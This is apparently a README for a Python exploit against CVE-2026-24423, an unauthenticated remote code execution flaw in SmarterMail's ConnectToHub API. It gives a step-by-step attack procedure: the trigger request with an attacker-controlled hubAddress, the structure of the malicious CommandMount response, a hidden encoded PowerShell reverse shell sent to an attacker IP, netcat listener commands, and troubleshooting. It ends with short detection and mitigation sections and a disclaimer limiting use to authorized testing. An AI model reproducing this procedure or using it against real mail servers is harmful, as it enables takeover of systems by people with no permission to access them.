## https://sploitus.com/exploit?id=FA30EBF5-1784-5D0E-AE1F-B8D3953CDFCC
# SmarterMail ConnectToHub RCE
A Python-based exploit for **CVE-2026-24423**, an unauthenticated Remote Code Execution vulnerability in SmarterTools SmarterMail's `ConnectToHub` functionality.
> **Intended use:** Authorized security testing, CTFs, Hack The Box labs, and controlled research environments only.
---
## Table of Contents
* [Overview](#overview)
* [CVE Details](#cve-details)
* [Affected Versions](#affected-versions)
* [Vulnerability Description](#vulnerability-description)
* [Technical Details](#technical-details)
* [Exploitation Flow](#exploitation-flow)
* [Requirements](#requirements)
* [Configuration](#configuration)
* [Usage](#usage)
* [Expected Output](#expected-output)
* [Troubleshooting](#troubleshooting)
* [Screenshots](#screenshots)
* [Project Structure](#project-structure)
* [Mitigation](#mitigation)
* [References](#references)
* [Disclaimer](#disclaimer)
---
# Overview
**CVE-2026-24423** is an unauthenticated Remote Code Execution vulnerability affecting SmarterTools SmarterMail.
The vulnerability exists in the `ConnectToHub` functionality. An unauthenticated attacker can supply a malicious `hubAddress`, causing the SmarterMail server to make an HTTP request to an attacker-controlled server.
The malicious server responds with a crafted `setup-initial-connection` response containing a controlled `SystemMount.CommandMount` value.
The vulnerable SmarterMail instance subsequently processes this value as an operating-system command, allowing arbitrary command execution in the security context of the SmarterMail service.
The vulnerability was assigned a **CVSS 4.0 score of 9.3 (Critical)** and is classified as **CWE-306: Missing Authentication for Critical Function**.
---
# CVE Details
| Field | Value |
| ---------------- | ------------------------------------- |
| CVE | CVE-2026-24423 |
| Vendor | SmarterTools |
| Product | SmarterMail |
| Vulnerability | Unauthenticated Remote Code Execution |
| CWE | CWE-306 |
| CVSS v4.0 | **9.3 Critical** |
| CVSS v3.1 | **9.8 Critical** |
| Attack Vector | Network |
| Authentication | None |
| User Interaction | None |
| Complexity | Low |
| Published | January 23, 2026 |
| Fixed Build | 9511 |
The official CVE record describes the issue as an unauthenticated RCE through the `ConnectToHub` API method.
---
# Affected Versions
SmarterMail versions **before Build 9511** are affected.
The CVE record specifies the affected range as:
```text
SmarterMail = 100.0.9511
```
Always verify the exact installed build before attempting to reproduce the vulnerability.
---
# Vulnerability Description
The vulnerable functionality is exposed through the SmarterMail system administration API.
The relevant operation is:
```text
/api/v1/settings/sysadmin/connect-to-hub
```
The endpoint accepts a `hubAddress` parameter.
Conceptually, an attacker can provide:
```json
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
```
SmarterMail then connects to the supplied hub address and requests:
```text
/web/api/node-management/setup-initial-connection
```
The attacker-controlled server responds with JSON containing a malicious `SystemMount` object.
The important property is:
```json
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
```
The `CommandMount` value is subsequently used by the vulnerable application as an operating-system command.
This allows an attacker to transition from:
```text
Unauthenticated HTTP request
```
to:
```text
Remote command execution
```
VulnCheck's technical analysis confirms that the attacker-controlled `hubAddress` causes SmarterMail to request the attacker's `setup-initial-connection` endpoint and that the returned `CommandMount` can provide arbitrary command execution.
---
# Technical Details
The exploit consists of two components:
### 1. Fake SmarterMail Hub
The Python server listens for:
```text
POST /web/api/node-management/setup-initial-connection
```
and returns a crafted JSON response containing the malicious `SystemMount.CommandMount`.
### 2. Reverse Shell Listener
A separate TCP listener receives the connection initiated by the command executed on the target.
This exploit intentionally uses two separate ports.
```text
8081
└── Fake SmarterMail Hub
4455
└── Reverse Shell Listener
```
---
# Exploitation Flow
```mermaid
flowchart LR
A[Attacker10.10.14.50]
H[Fake SmarterMail HubTCP/8081]
T[SmarterMail Target10.129.57.86]
C[CommandMountCommand Execution]
P[PowerShell]
L[Reverse Shell ListenerTCP/4455]
A -->|Trigger ConnectToHub| T
T -->|HTTP POST| H
H -->|Malicious JSON| T
T -->|CommandMount| C
C --> P
P -->|Reverse TCP| L
L --> A
```
### Connection 1 — Fake Hub
```text
Target
|
| HTTP
v
10.10.14.50:8081
```
### Connection 2 — Reverse Shell
```text
Target
|
| TCP
v
10.10.14.50:4455
```
These ports serve different purposes and should not be confused.
---
# Requirements
* Python 3
* Linux attacker machine
* Hack The Box VPN or equivalent authorized network
* Network connectivity from the target to the attacker
* Netcat
* Vulnerable SmarterMail installation
The exploit uses only Python standard-library modules:
```python
http.server
json
base64
```
No external Python packages are required.
---
# Configuration
Edit the following variables:
```python
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
```
For the example HTB environment:
```text
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
```
### LHOST
`LHOST` is the attacker's IP address that the target can reach.
For Hack The Box, this is normally the IP assigned to the HTB VPN interface:
```bash
ip addr show tun0
```
Example:
```text
tun0:
inet 10.10.14.50
```
Therefore:
```python
LHOST = "10.10.14.50"
```
### LPORT
`LPORT` is the TCP port used by the attacker to receive the reverse connection.
Example:
```python
LPORT = 4455
```
### HUB_PORT
`HUB_PORT` is the HTTP port used by the malicious SmarterMail hub.
Example:
```python
HUB_PORT = 8081
```
---
# Usage
## 1. Clone the repository
```bash
git clone https://github.com//.git
cd
```
---
## 2. Configure the exploit
Edit:
```bash
nano exploit.py
```
Set:
```python
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
```
---
## 3. Start the reverse-shell listener
Open a terminal:
```bash
nc -lvnp 4455
```
Expected:
```text
Listening on 0.0.0.0 4455
```
Keep this terminal open.
---
## 4. Start the malicious hub
Open a second terminal:
```bash
python3 exploit.py
```
If binding to the selected port requires elevated privileges:
```bash
sudo python3 exploit.py
```
Expected output:
```text
============================================================
SmarterMail fake hub
============================================================
[+] LHOST: 10.10.14.50
[+] LPORT: 4455
[+] HUB: 10.10.14.50:8081
[+] Waiting for SmarterMail...
============================================================
```
---
## 5. Trigger ConnectToHub
Send the appropriate request to the vulnerable SmarterMail instance.
The supplied `hubAddress` must point to the malicious HTTP server:
```json
{
"hubAddress": "http://10.10.14.50:8081",
"oneTimePassword": "tempst",
"nodeName": "DC"
}
```
The important value is:
```text
http://10.10.14.50:8081
```
Do **not** use the reverse-shell port as the hub port.
---
# Port Configuration Summary
| Purpose | IP | Port |
| -------------------- | ------------ | -------: |
| Attacker VPN | 10.10.14.50 | — |
| Fake SmarterMail Hub | 10.10.14.50 | **8081** |
| Reverse Shell | 10.10.14.50 | **4455** |
| HTB Target | 10.129.57.86 | — |
The resulting flow is:
```text
hubAddress
↓
10.10.14.50:8081
↓
Malicious CommandMount
↓
PowerShell
↓
10.10.14.50:4455
```
---
# Payload Encoding
The exploit dynamically creates the PowerShell payload.
PowerShell's `-EncodedCommand` parameter expects the command to be encoded using **UTF-16LE** before Base64 encoding.
The script performs:
```python
encoded = base64.b64encode(
PS.encode("utf-16le")
).decode()
```
The final command is structured as:
```text
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand
```
This avoids manually encoding the payload and prevents common UTF-8/UTF-16LE encoding mistakes.
---
# Expected Output
When the target reaches the malicious hub:
```text
[+] Received SmarterMail connection
[+] Path: /web/api/node-management/setup-initial-connection
[+] Body: ...
[+] Sending CommandMount payload
[+] Reverse shell -> 10.10.14.50:4455
```
The reverse-shell listener should subsequently receive a connection:
```text
Connection received on 10.129.57.86 XXXXX
```
Once connected, basic validation can be performed:
```powershell
whoami
```
```powershell
hostname
```
---
# Troubleshooting
## Fake hub receives no connection
Check that the server is listening:
```bash
ss -lntp | grep 8081
```
Verify the VPN address:
```bash
ip addr show tun0
```
Confirm that `LHOST` matches the address reachable from the target.
---
## Fake hub receives HTTP 200 but no shell
A successful HTTP request means the first stage is working:
```text
Target
|
| HTTP
v
Fake Hub :8081
```
It does not necessarily mean the second stage succeeded.
Check:
```bash
ss -lntp | grep 4455
```
Make sure Netcat was started **before** triggering the exploit.
Also verify:
```text
LHOST = target-reachable attacker IP
LPORT = listener port
```
---
## Netcat receives the HTTP request instead of a shell
If you see:
```text
POST /web/api/node-management/setup-initial-connection
```
inside Netcat, you have pointed `hubAddress` at the reverse-shell listener.
Incorrect:
```text
hubAddress = http://10.10.14.50:4455
```
Correct:
```text
hubAddress = http://10.10.14.50:8081
```
The two ports must remain separate.
---
## HTTP 400 response
A `400` response can occur when the fake hub does not return the structure expected by SmarterMail.
Verify that the response contains:
```json
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
```
Also make sure the requested path is exactly:
```text
/web/api/node-management/setup-initial-connection
```
The public vulnerability analysis identifies this endpoint as part of the vulnerable ConnectToHub flow.
---
# Screenshots
Add screenshots from the HTB lab here.
## 1. Target Enumeration
Example:
```markdown
```
Suggested screenshot:
* Nmap results
* SmarterMail service/version
* Relevant exposed port
---
## 2. Malicious Hub
```markdown
```
Show:
```text
[+] Received SmarterMail connection
[+] Sending CommandMount payload
```
---
## 3. Exploit Trigger
```markdown
```
Show the request containing:
```json
{
"hubAddress": "http://10.10.14.50:8081"
}
```
---
## 4. Reverse Shell
```markdown
```
Show:
```text
Connection received on 10.129.57.86
```
and the resulting command prompt.
---
# Project Structure
```text
smartermail-rce/
│
├── exploit.py
├── README.md
│
└── screenshots/
├── nmap.png
├── burp-request.png
├── fake-hub.png
└── reverse-shell.png
```
---
# Detection
Potential indicators of exploitation include unexpected requests to:
```text
/api/v1/settings/sysadmin/connect-to-hub
```
and outbound connections from the SmarterMail server to previously unknown HTTP hosts.
Administrators should also review application, IIS/reverse-proxy, and network logs for suspicious ConnectToHub activity.
CVE-2026-24423 has been included in CISA's Known Exploited Vulnerabilities catalog, indicating that exploitation has been observed outside of laboratory environments.
---
# Mitigation
The primary remediation is to upgrade SmarterMail to **Build 9511 or later**. The vendor's January 15, 2026 release addressed the vulnerability.
Where immediate patching is not possible, organizations should additionally consider:
* Restricting access to SmarterMail administrative APIs.
* Preventing unnecessary external access to management endpoints.
* Applying network segmentation.
* Monitoring outbound connections from the SmarterMail server.
* Reviewing historical logs for suspicious `ConnectToHub` requests.
* Investigating unexpected command execution by the SmarterMail service account.
---
# References
* CVE Record: CVE-2026-24423
* VulnCheck: SmarterMail ConnectToHub Unauthenticated RCE
* CODE WHITE: Public Vulnerability List
* SmarterTools SmarterMail Release Notes
* CISA Known Exploited Vulnerabilities Catalog
---
# Disclaimer
This project is provided for **authorized security research and educational purposes only**.
Do not use this exploit against systems that you do not own or do not have explicit permission to test.
The author assumes no responsibility for misuse, damage, data loss, unauthorized access, or other consequences resulting from the use of this software.
Use only in controlled environments such as:
* Hack The Box
* Capture-the-Flag competitions
* Personal laboratories
* Authorized penetration tests
* Security research environments
---
## Credits
CVE-2026-24423 was credited to:
* Sina Kheirkhah
* Piotr Bazydlo
* Markus Wulftange
* Cale Black
The CVE was published by VulnCheck on January 23, 2026.